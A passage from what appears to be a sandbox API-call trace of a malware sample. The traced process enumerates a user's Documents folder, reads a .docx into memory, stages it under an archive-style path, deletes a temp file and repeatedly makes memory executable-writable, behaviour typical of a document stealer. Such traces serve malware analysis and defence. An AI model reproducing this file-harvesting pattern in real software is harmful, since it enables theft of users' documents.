pbstr=0x1e7df96c*=0x0, psz="C:\\Users\\aETAdzjz\\Documents\\Nu56E.docx", len=0x26 | out: pbstr=0x1e7df96c*="C:\\Users\\aETAdzjz\\Documents\\Nu56E.docx") returned 1 [0165.815] SysReAllocStringLen (in: pbstr=0x1e7df9f8*="C:\\Users\\aETAdzjz\\Documents\\Nu56E.docx", psz="C:\\Users\\aETAdzjz\\Documents\\Nu56E.docx", len=0x26 | out: pbstr=0x1e7df9f8*="C:\\Users\\aETAdzjz\\Documents\\Nu56E.docx") returned 1 [0165.816] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x40d000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x40d000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0165.816] GetFileAttributesW (lpFileName="C:\\Users\\aETAdzjz\\Documents\\Nu56E.docx" (normalized: "c:\\users\\aetadzjz\\documents\\nu56e.docx")) returned 0x20 [0165.816] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\Documents\\Nu56E.docx" (normalized: "c:\\users\\aetadzjz\\documents\\nu56e.docx"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x310 [0165.816] GetFileSize (in: hFile=0x310, lpFileSizeHigh=0x1e7df948 | out: lpFileSizeHigh=0x1e7df948*=0x0) returned 0x347c [0165.816] ReadFile (in: hFile=0x310, lpBuffer=0x1fcfaf44, nNumberOfBytesToRead=0x347c, lpNumberOfBytesRead=0x1e7df944, lpOverlapped=0x0 | out: lpBuffer=0x1fcfaf44*, lpNumberOfBytesRead=0x1e7df944*=0x347c, lpOverlapped=0x0) returned 1 [0165.817] CloseHandle (hObject=0x310) returned 1 [0165.817] CharToOemBuffA (in: lpszSrc="Files\\2\\Nu56E.docx", lpszDst=0x1fd1c00c, cchDstLength=0x12 | out: lpszDst="Files\\2\\Nu56E.docx") returned 1 [0165.817] VirtualAlloc (lpAddress=0x1fd2c000, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0x1fd2c000 [0165.818] RtlComputeCrc32 (PartialCrc=0x0, Buffer=0x1fd2b174, Length=0x347c) returned 0x7e0813e5 [0165.818] VirtualAlloc (lpAddress=0x1fd30000, dwSize=0x10000, flAllocationType=0x1000, flProtect=0x4) returned 0x1fd30000 [0165.819] VirtualFree (lpAddress=0x1fd20000, dwSize=0x8000, dwFreeType=0x4000) returned 1 [0165.819] VirtualFree (lpAddress=0x1fd28000, dwSize=0x4000, dwFreeType=0x4000) returned 1 [0165.820] VirtualFree (lpAddress=0x1fd1c000, dwSize=0x4000, dwFreeType=0x4000) returned 1 [0165.820] ExpandEnvironmentStringsW (in: lpSrc="%TEMP%\\curbuf.dat", lpDst=0x1ff01564, nSize=0x8000 | out: lpDst="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\curbuf.dat") returned 0x30 [0165.820] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\curbuf.dat" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\curbuf.dat")) returned 0 [0165.820] FindNextFileW (in: hFindFile=0x1e258c88, lpFindFileData=0x1e7dfa30 | out: lpFindFileData=0x1e7dfa30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x30d2fbc0, ftCreationTime.dwHighDateTime=0x1d5c9b3, ftLastAccessTime.dwLowDateTime=0xcea59620, ftLastAccessTime.dwHighDateTime=0x1d5a094, ftLastWriteTime.dwLowDateTime=0xcea59620, ftLastWriteTime.dwHighDateTime=0x1d5a094, nFileSizeHigh=0x0, nFileSizeLow=0x12aa4, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="N_vlEiah8iZK7 TVL6J.pptx", cAlternateFileName="N_VLEI~1.PPT")) returned 1 [0165.820] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\Nu56E.docx", psz="C:\\Users\\aETAdzjz\\Documents\\\\N_vlEiah8iZK7 TVL6J.pptx", len=0x35 | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\\\N_vlEiah8iZK7 TVL6J.pptx") returned 1 [0165.821] SysReAllocStringLen (in: pbstr=0x1e7df978*=0x0, psz="C:\\Users\\aETAdzjz\\Documents\\\\N_vlEiah8iZK7 TVL6J.pptx", len=0x35 | out: pbstr=0x1e7df978*="C:\\Users\\aETAdzjz\\Documents\\\\N_vlEiah8iZK7 TVL6J.pptx") returned 1 [0165.821] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\\\N_vlEiah8iZK7 TVL6J.pptx", psz="C:\\Users\\aETAdzjz\\Documents\\\\N_vlEiah8iZK7 TVL6J.pptx", len=0x35 | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\\\N_vlEiah8iZK7 TVL6J.pptx") returned 1 [0165.821] SysReAllocStringLen (in: pbstr=0x1e7df974*=0x0, psz="C:\\Users\\aETAdzjz\\Documents\\N_vlEiah8iZK7 TVL6J.pptx", len=0x34 | out: pbstr=0x1e7df974*="C:\\Users\\aETAdzjz\\Documents\\N_vlEiah8iZK7 TVL6J.pptx") returned 1 [0165.821] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\\\N_vlEiah8iZK7 TVL6J.pptx", psz="C:\\Users\\aETAdzjz\\Documents\\N_vlEiah8iZK7 TVL6J.pptx", len=0x34 | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\N_vlEiah8iZK7 TVL6J.pptx") returned 1 [0165.821] SysReAllocStringLen (in: pbstr=0x1e7df970*=0x0, psz="C:\\Users\\aETAdzjz\\Documents\\N_vlEiah8iZK7 TVL6J.pptx", len=0x34 | out: pbstr=0x1e7df970*="C:\\Users\\aETAdzjz\\Documents\\N_vlEiah8iZK7 TVL6J.pptx") returned 1 [0165.821] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\N_vlEiah8iZK7 TVL6J.pptx", psz="C:\\Users\\aETAdzjz\\Documents\\N_vlEiah8iZK7 TVL6J.pptx", len=0x34 | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\N_vlEiah8iZK7 TVL6J.pptx") returned 1 [0165.821] FindNextFileW (in: hFindFile=0x1e258c88, lpFindFileData=0x1e7dfa30 | out: lpFindFileData=0x1e7dfa30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8d4faba0, ftCreationTime.dwHighDateTime=0x1d2f189, ftLastAccessTime.dwLowDateTime=0x8d56cfc0, ftLastAccessTime.dwHighDateTime=0x1d2f189, ftLastWriteTime.dwLowDateTime=0x8d56cfc0, ftLastWriteTime.dwHighDateTime=0x1d2f189, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="OneNote Notebooks", cAlternateFileName="ONENOT~1")) returned 1 [0165.825] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x403000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x403000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0165.825] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x414000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x414000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0165.826] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0165.826] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41d000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41d000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0165.827] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0165.827] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x407000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x407000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0165.828] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x404000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x404000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0165.828] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\N_vlEiah8iZK7 TVL6J.pptx", psz="C:\\Users\\aETAdzjz\\Documents\\\\OneNote Notebooks", len=0x2e | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\\\OneNote Notebooks") returned 1 [0165.828] SysReAllocStringLen (in: pbstr=0x1e7df978*=0x0, psz="C:\\Users\\aETAdzjz\\Documents\\\\OneNote Notebooks", len=0x2e | out: pbstr=0x1e7df978*="C:\\Users\\aETAdzjz\\Documents\\\\OneNote Notebooks") returned 1 [0165.828] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\\\OneNote Notebooks", psz="C:\\Users\\aETAdzjz\\Documents\\\\OneNote Notebooks", len=0x2e | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\\\OneNote Notebooks") returned 1 [0165.828] SysReAllocStringLen (in: pbstr=0x1e7df974*=0x0, psz="C:\\Users\\aETAdzjz\\Documents\\OneNote Notebooks", len=0x2d | out: pbstr=0x1e7df974*="C:\\Users\\aETAdzjz\\Documents\\OneNote Notebooks") returned 1 [0165.828] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\\\OneNote Notebooks", psz="C:\\Users\\aETAdzjz\\Documents\\OneNote Notebooks", len=0x2d | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\OneNote Notebooks") returned 1 [0165.829] SysReAllocStringLen (in: pbstr=0x1e7df970*=0x0, psz="C:\\Users\\aETAdzjz\\Documents\\OneNote Notebooks", len=0x2d | out: pbstr=0x1e7df970*="C:\\Users\\aETAdzjz\\Documents\\OneNote Notebooks") returned 1 [0165.829] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\OneNote Notebooks", psz="C:\\Users\\aETAdzjz\\Documents\\OneNote Notebooks", len=0x2d | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\OneNote Notebooks") returned 1 [0165.829] SysReAllocStringLen (in: pbstr=0x1e7df9bc*="C:\\Users\\aETAdzjz\\Documents\\My Shapes", psz="C:\\Users\\aETAdzjz\\Documents\\OneNote Notebooks", len=0x2d | out: pbstr=0x1e7df9bc*="C:\\Users\\aETAdzjz\\Documents\\OneNote Notebooks") returned 1 [0165.829] SysReAllocStringLen (in: pbstr=0x1e7df978*=0x0, psz="C:\\Users\\aETAdzjz\\Documents\\OneNote Notebooks", len=0x2d | out: pbstr=0x1e7df978*="C:\\Users\\aETAdzjz\\Documents\\OneNote Notebooks") returned 1 [0165.829] SysReAllocStringLen (in: pbstr=0x1e7df9bc*="C:\\Users\\aETAdzjz\\Documents\\OneNote Notebooks", psz="C:\\Users\\aETAdzjz\\Documents\\OneNote Notebooks", len=0x2d | out: pbstr=0x1e7df9bc*="C:\\Users\\aETAdzjz\\Documents\\OneNote Notebooks") returned 1 [0165.830] SysReAllocStringLen (in: pbstr=0x1e7df974*=0x0, psz="C:\\Users\\aETAdzjz\\Documents\\OneNote Notebooks", len=0x2d | out: pbstr=0x1e7df974*="C:\\Users\\aETAdzjz\\Documents\\OneNote Notebooks") returned 1 [0165.830] SysReAllocStringLen (in: pbstr=0x1e7df9bc*="C:\\Users\\aETAdzjz\\Documents\\OneNote Notebooks", psz="C:\\Users\\aETAdzjz\\Documents\\OneNote Notebooks", len=0x2d | out: pbstr=0x1e7df9bc*="C:\\Users\\aETAdzjz\\Documents\\OneNote Notebooks") returned 1 [0165.830] SysReAllocStringLen (in: pbstr=0x1e7df970*=0x0, psz="C:\\Users\\aETAdzjz\\Documents\\OneNote Notebooks", len=0x2d | out: pbstr=0x1e7df970*="C:\\Users\\aETAdzjz\\Documents\\OneNote Notebooks") returned 1 [0165.830] SysReAllocStringLen (in: pbstr=0x1e7df9bc*="C:\\Users\\aETAdzjz\\Documents\\OneNote Notebooks", psz="C:\\Users\\aETAdzjz\\Documents\\OneNote Notebooks", len=0x2d | out: pbstr=0x1e7df9bc*="C:\\Users\\aETAdzjz\\Documents\\OneNote Notebooks") returned 1 [0165.830] GetFileAttributesW (lpFileName="C:\\Users\\aETAdzjz\\Documents\\OneNote Notebooks" (normalized: "c:\\users\\aetadzjz\\documents\\onenote notebooks")) returned 0x10 [0165.831] SysReAllocStringLen (in: pbstr=0x1e7df9b0*="C:\\Users\\aETAdzjz\\Documents\\My Shapes", psz="C:\\Users\\aETAdzjz\\Documents\\OneNote Notebooks", len=0x2d | out: pbstr=0x1e7df9b0*="C:\\Users\\aETAdzjz\\Documents\\OneNote Notebooks") returned 1 [0165.832] SysReAllocStringLen (in: pbstr=0x1e7df978*=0x0, psz="C:\\Users\\aETAdzjz\\Documents\\OneNote Notebooks", len=0x2d | out: pbstr=0x1e7df978*="C:\\Users\\aETAdzjz\\Documents\\OneNote Notebooks") returned 1 [0165.832] SysReAllocStringLen (in: pbstr=0x1e7df9b0*="C:\\Users\\aETAdzjz\\Documents\\OneNote Notebooks", psz="C:\\Users\\aETAdzjz\\Documents\\OneNote Notebooks", len=0x2d | out: pbstr=0x1e7df9b0*="C:\\Users\\aETAdzjz\\Documents\\OneNote Notebooks") returned 1 [0165.832] SysReAllocStringLen (in: pbstr=0x1e7df974*=0x0, psz="C:\\Users\\aETAdzjz\\Documents\\OneNote Notebooks", len=0x2d | out: pbstr=0x1e7df974*="C:\\Users\\aETAdzjz\\Documents\\OneNote Notebooks") returned 1 [0165.832] SysReAllocStringLen (in: pbstr=0x1e7df9b0*="C:\\Users\\aETAdzjz\\Documents\\OneNote Notebooks", psz="C:\\Users\\aETAdzjz\\Documents\\OneNote Notebooks", len=0x2d | out: pbstr=0x1e7df9b0*="C:\\Users\\aETAdzjz\\Documents\\OneNote Notebooks") returned 1 [0165.832] SysReAllocStringLen (in: pbstr=0x1e7df970*=0x0, psz="C:\\Users\\aETAdzjz\\Documents\\OneNote Notebooks", len=0x2d | out: pbstr=0x1e7df970*="C:\\Users\\aETAdzjz\\Documents\\OneNote Notebooks") returned 1 [0165.832] SysReAllocStringLen (in: pbstr=0x1e7df9b0*="C:\\Users\\aETAdzjz\\Documents\\OneNote Notebooks", psz="C:\\Users\\aETAdzjz\\Documents\\OneNote Notebooks", len=0x2d | out: pbstr=0x1e7df9b0*="C:\\Users\\aETAdzjz\\Documents\\OneNote Notebooks") returned 1 [0165.832] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0165.833] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="C:\\Users\\aETAdzjz\\Documents\\OneNote Notebooks", cchWideChar=45, lpMultiByteStr=0x1e7de974, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\aETAdzjz\\Documents\\OneNote Notebooksëõà´é}\x1e\x04ëõà¼é}\x1e|.(w\x09\x04", lpUsedDefaultChar=0x0) returned 45 [0165.833] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41b000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41b000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0165.834] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x406000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x406000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0165.834] SysReAllocStringLen (in: pbstr=0x1fd3ddb8*=0x0, psz="C:\\Users\\aETAdzjz\\Documents\\OneNote Notebooks", len=0x2d | out: pbstr=0x1fd3ddb8*="C:\\Users\\aETAdzjz\\Documents\\OneNote Notebooks") returned 1 [0165.834] FindNextFileW (in: hFindFile=0x1e258c88, lpFindFileData=0x1e7dfa30 | out: lpFindFileData=0x1e7dfa30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x88a6fe80, ftCreationTime.dwHighDateTime=0x1d2fb2c, ftLastAccessTime.dwLowDateTime=0xcceaae10, ftLastAccessTime.dwHighDateTime=0x1d5e888, ftLastWriteTime.dwLowDateTime=0xcceaae10, ftLastWriteTime.dwHighDateTime=0x1d5e888, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Outlook Files", cAlternateFileName="OUTLOO~1")) returned 1 [0165.835] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\OneNote Notebooks", psz="C:\\Users\\aETAdzjz\\Documents\\\\Outlook Files", len=0x2a | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\\\Outlook Files") returned 1 [0165.835] SysReAllocStringLen (in: pbstr=0x1e7df978*=0x0, psz="C:\\Users\\aETAdzjz\\Documents\\\\Outlook Files", len=0x2a | out: pbstr=0x1e7df978*="C:\\Users\\aETAdzjz\\Documents\\\\Outlook Files") returned 1 [0165.835] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\\\Outlook Files", psz="C:\\Users\\aETAdzjz\\Documents\\\\Outlook Files", len=0x2a | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\\\Outlook Files") returned 1 [0165.835] SysReAllocStringLen (in: pbstr=0x1e7df974*=0x0, psz="C:\\Users\\aETAdzjz\\Documents\\Outlook Files", len=0x29 | out: pbstr=0x1e7df974*="C:\\Users\\aETAdzjz\\Documents\\Outlook Files") returned 1 [0165.835] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\\\Outlook Files", psz="C:\\Users\\aETAdzjz\\Documents\\Outlook Files", len=0x29 | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\Outlook Files") returned 1 [0165.835] SysReAllocStringLen (in: pbstr=0x1e7df970*=0x0, psz="C:\\Users\\aETAdzjz\\Documents\\Outlook Files", len=0x29 | out: pbstr=0x1e7df970*="C:\\Users\\aETAdzjz\\Documents\\Outlook Files") returned 1 [0165.835] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\Outlook Files", psz="C:\\Users\\aETAdzjz\\Documents\\Outlook Files", len=0x29 | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\Outlook Files") returned 1 [0165.836] SysReAllocStringLen (in: pbstr=0x1e7df9bc*="C:\\Users\\aETAdzjz\\Documents\\OneNote Notebooks", psz="C:\\Users\\aETAdzjz\\Documents\\Outlook Files", len=0x29 | out: pbstr=0x1e7df9bc*="C:\\Users\\aETAdzjz\\Documents\\Outlook Files") returned 1 [0165.836] SysReAllocStringLen (in: pbstr=0x1e7df978*=0x0, psz="C:\\Users\\aETAdzjz\\Documents\\Outlook Files", len=0x29 | out: pbstr=0x1e7df978*="C:\\Users\\aETAdzjz\\Documents\\Outlook Files") returned 1 [0165.836] SysReAllocStringLen (in: pbstr=0x1e7df9bc*="C:\\Users\\aETAdzjz\\Documents\\Outlook Files", psz="C:\\Users\\aETAdzjz\\Documents\\Outlook Files", len=0x29 | out: pbstr=0x1e7df9bc*="C:\\Users\\aETAdzjz\\Documents\\Outlook Files") returned 1 [0165.836] SysReAllocStringLen (in: pbstr=0x1e7df974*=0x0, psz="C:\\Users\\aETAdzjz\\Documents\\Outlook Files", len=0x29 | out: pbstr=0x1e7df974*="C:\\Users\\aETAdzjz\\Documents\\Outlook Files") returned 1 [0165.836] SysReAllocStringLen (in: pbstr=0x1e7df9bc*="C:\\Users\\aETAdzjz\\Documents\\Outlook Files", psz="C:\\Users\\aETAdzjz\\Documents\\Outlook Files", len=0x29 | out: pbstr=0x1e7df9bc*="C:\\Users\\aETAdzjz\\Documents\\Outlook Files") returned 1 [0165.836] SysReAllocStringLen (in: pbstr=0x1e7df970*=0x0, psz="C:\\Users\\aETAdzjz\\Documents\\Outlook Files", len=0x29 | out: pbstr=0x1e7df970*="C:\\Users\\aETAdzjz\\Documents\\Outlook Files") returned 1 [0165.837] SysReAllocStringLen (in: pbstr=0x1e7df9bc*="C:\\Users\\aETAdzjz\\Documents\\Outlook Files", psz="C:\\Users\\aETAdzjz\\Documents\\Outlook Files", len=0x29 | out: pbstr=0x1e7df9bc*="C:\\Users\\aETAdzjz\\Documents\\Outlook Files") returned 1 [0165.837] GetFileAttributesW (lpFileName="C:\\Users\\aETAdzjz\\Documents\\Outlook Files" (normalized: "c:\\users\\aetadzjz\\documents\\outlook files")) returned 0x10 [0165.842] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x414000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x414000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0165.843] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x404000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x404000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0165.843] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x407000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x407000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0165.844] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0165.844] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41d000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41d000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0165.845] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x403000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x403000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0165.845] SysReAllocStringLen (in: pbstr=0x1e7df9b0*="C:\\Users\\aETAdzjz\\Documents\\OneNote Notebooks", psz="C:\\Users\\aETAdzjz\\Documents\\Outlook Files", len=0x29 | out: pbstr=0x1e7df9b0*="C:\\Users\\aETAdzjz\\Documents\\Outlook Files") returned 1 [0165.846] SysReAllocStringLen (in: pbstr=0x1e7df978*=0x0, psz="C:\\Users\\aETAdzjz\\Documents\\Outlook Files", len=0x29 | out: pbstr=0x1e7df978*="C:\\Users\\aETAdzjz\\Documents\\Outlook Files") returned 1 [0165.846] SysReAllocStringLen (in: pbstr=0x1e7df9b0*="C:\\Users\\aETAdzjz\\Documents\\Outlook Files", psz="C:\\Users\\aETAdzjz\\Documents\\Outlook Files", len=0x29 | out: pbstr=0x1e7df9b0*="C:\\Users\\aETAdzjz\\Documents\\Outlook Files") returned 1 [0165.846] SysReAllocStringLen (in: pbstr=0x1e7df974*=0x0, psz="C:\\Users\\aETAdzjz\\Documents\\Outlook Files", len=0x29 | out: pbstr=0x1e7df974*="C:\\Users\\aETAdzjz\\Documents\\Outlook Files") returned 1 [0165.846] SysReAllocStringLen (in: pbstr=0x1e7df9b0*="C:\\Users\\aETAdzjz\\Documents\\Outlook Files", psz="C:\\Users\\aETAdzjz\\Documents\\Outlook Files", len=0x29 | out: pbstr=0x1e7df9b0*="C:\\Users\\aETAdzjz\\Documents\\Outlook Files") returned 1 [0165.846] SysReAllocStringLen (in: pbstr=0x1e7df970*=0x0, psz="C:\\Users\\aETAdzjz\\Documents\\Outlook Files", len=0x29 | out: pbstr=0x1e7df970*="C:\\Users\\aETAdzjz\\Documents\\Outlook Files") returned 1 [0165.846] SysReAllocStringLen (in: pbstr=0x1e7df9b0*="C:\\Users\\aETAdzjz\\Documents\\Outlook Files", psz="C:\\Users\\aETAdzjz\\Documents\\Outlook Files", len=0x29 | out: pbstr=0x1e7df9b0*="C:\\Users\\aETAdzjz\\Documents\\Outlook Files") returned 1 [0165.846] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0165.847] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="C:\\Users\\aETAdzjz\\Documents\\Outlook Files", cchWideChar=41, lpMultiByteStr=0x1e7de974, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\aETAdzjz\\Documents\\Outlook Filesooksëõà´é}\x1e\x04ëõà¼é}\x1e|.(w\x09\x04", lpUsedDefaultChar=0x0) returned 41 [0165.847] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0165.847] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41b000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41b000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0165.848] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x406000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x406000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0165.849] SysReAllocStringLen (in: pbstr=0x1f026bd4*=0x0, psz="C:\\Users\\aETAdzjz\\Documents\\Outlook Files", len=0x29 | out: pbstr=0x1f026bd4*="C:\\Users\\aETAdzjz\\Documents\\Outlook Files") returned 1 [0165.849] FindNextFileW (in: hFindFile=0x1e258c88, lpFindFileData=0x1e7dfa30 | out: lpFindFileData=0x1e7dfa30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x120731b0, ftCreationTime.dwHighDateTime=0x1d5e5cf, 